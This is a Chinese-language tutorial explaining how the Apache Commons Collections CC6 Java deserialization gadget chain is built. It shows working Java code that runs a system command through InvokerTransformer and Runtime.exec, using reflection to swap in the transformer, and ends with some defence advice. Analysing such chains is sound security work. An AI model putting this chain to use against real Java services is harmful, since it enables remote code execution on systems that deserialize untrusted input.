java安全:从发现者角度解析CC6链构造过程
字数 1237 2025-08-29 22:41:38

Java反序列化漏洞:CC6链构造过程详解

1. CC6链概述

CC6链是Apache Commons Collections反序列化漏洞利用链的一种变体,它基于CC1链进行改进,主要解决了CC1链在高版本Java中的限制问题。CC6链的核心在于利用TiedMapEntry类和HashMap的反序列化过程来触发恶意代码执行。

2. 关键类与原理

2.1 核心类分析

  • HashMap:在反序列化时会调用readObject方法,该方法会调用键对象的hashCode方法
  • TiedMapEntry:该类有一个hashCode方法,在方法中会调用getValue,进而调用map.get(key)
  • LazyMap:与CC1相同,当调用get方法时,如果没有对应的键,会调用Transformer

2.2 触发流程

  1. HashMap反序列化时调用readObject
  2. readObject调用键对象的hashCode方法
  3. 如果键是TiedMapEntry,则调用其hashCode方法
  4. TiedMapEntry.hashCode()调用getValue()
  5. getValue()调用map.get(key)
  6. 如果map是LazyMap且key不存在,则触发Transformer链

3. 构造过程详解

3.1 基础构造(有问题的版本)

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[]{String.class, Class[].class}, 
        new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", 
        new Class[]{Object.class, Object[].class}, 
        new Object[]{null, null}),
    new InvokerTransformer("exec", 
        new Class[]{String.class}, 
        new Object[]{"calc"}),
};

final ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
final HashMap<Object, Object> map = new HashMap<>();
map.put("value","xxx");
final Map lazymap = LazyMap.decorate(map, chainedTransformer);
final TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "aaa");

HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"bbb");
serialize(map2);

问题:在map2.put时就触发了命令执行,因为put操作会立即调用hashCode

3.2 改进版本(延迟触发)

// 同样的Transformer数组
final ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
final HashMap<Object, Object> map = new HashMap<>();
map.put("value","xxx");

// 关键修改:先使用无害的ConstantTransformer
final Map lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
final TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "aaa");

HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"bbb");

// 通过反射替换为恶意Transformer
Class lazymapClass = LazyMap.class;
final Field factory = lazymapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap, chainedTransformer);

serialize(map2);

问题:反序列化时没有触发,因为lazymap中已经有了"aaa"键

3.3 最终正确版本

// Transformer数组同上
final ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
final HashMap<Object, Object> map = new HashMap<>();
map.put("value","xxx");

// 使用无害Transformer初始化
final Map lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
final TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "aaa");

HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"bbb");

// 关键修复:移除"aaa"键,确保后续get会触发Transformer
lazymap.remove("aaa");

// 反射替换为恶意Transformer
Class lazymapClass = LazyMap.class;
final Field factory = lazymapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap, chainedTransformer);

serialize(map2);
Deserialize("cc6.ser");

4. 关键点总结

  1. 延迟触发机制:使用无害的ConstantTransformer初始化,避免put时立即执行
  2. 反射修改:通过反射在对象构造完成后替换为恶意Transformer
  3. 键清理:必须移除测试时使用的键,确保反序列化时get会触发Transformer链
  4. 触发顺序
    • HashMap反序列化 → hashCode调用
    • TiedMapEntry.hashCode → getValue → map.get
    • LazyMap.get → Transformer链执行

5. 防御建议

  1. 升级Apache Commons Collections到最新安全版本
  2. 使用Java反序列化过滤器(ObjectInputFilter)
  3. 避免反序列化不可信数据
  4. 考虑使用替代的序列化格式(如JSON)

6. 调试技巧

  1. put操作前后检查lazymap的内容
  2. 跟踪hashCodeget方法的调用栈
  3. 使用条件断点检查Transformer的替换过程
  4. 验证反序列化时的键是否存在

通过这种构造方式,CC6链成功绕过了高版本Java中对CC1链的限制,展示了反序列化漏洞利用的灵活性。理解这种构造过程对于防御类似的攻击模式具有重要意义。

Java反序列化漏洞:CC6链构造过程详解 1. CC6链概述 CC6链是Apache Commons Collections反序列化漏洞利用链的一种变体,它基于CC1链进行改进,主要解决了CC1链在高版本Java中的限制问题。CC6链的核心在于利用 TiedMapEntry 类和 HashMap 的反序列化过程来触发恶意代码执行。 2. 关键类与原理 2.1 核心类分析 HashMap :在反序列化时会调用 readObject 方法,该方法会调用键对象的 hashCode 方法 TiedMapEntry :该类有一个 hashCode 方法,在方法中会调用 getValue ,进而调用 map.get(key) LazyMap :与CC1相同,当调用 get 方法时,如果没有对应的键,会调用 Transformer 链 2.2 触发流程 HashMap反序列化时调用 readObject readObject 调用键对象的 hashCode 方法 如果键是 TiedMapEntry ,则调用其 hashCode 方法 TiedMapEntry.hashCode() 调用 getValue() getValue() 调用 map.get(key) 如果map是LazyMap且key不存在,则触发Transformer链 3. 构造过程详解 3.1 基础构造(有问题的版本) 问题 :在 map2.put 时就触发了命令执行,因为 put 操作会立即调用 hashCode 3.2 改进版本(延迟触发) 问题 :反序列化时没有触发,因为 lazymap 中已经有了"aaa"键 3.3 最终正确版本 4. 关键点总结 延迟触发机制 :使用无害的 ConstantTransformer 初始化,避免 put 时立即执行 反射修改 :通过反射在对象构造完成后替换为恶意Transformer 键清理 :必须移除测试时使用的键,确保反序列化时 get 会触发Transformer链 触发顺序 : HashMap反序列化 → hashCode调用 TiedMapEntry.hashCode → getValue → map.get LazyMap.get → Transformer链执行 5. 防御建议 升级Apache Commons Collections到最新安全版本 使用Java反序列化过滤器(ObjectInputFilter) 避免反序列化不可信数据 考虑使用替代的序列化格式(如JSON) 6. 调试技巧 在 put 操作前后检查 lazymap 的内容 跟踪 hashCode 和 get 方法的调用栈 使用条件断点检查Transformer的替换过程 验证反序列化时的键是否存在 通过这种构造方式,CC6链成功绕过了高版本Java中对CC1链的限制,展示了反序列化漏洞利用的灵活性。理解这种构造过程对于防御类似的攻击模式具有重要意义。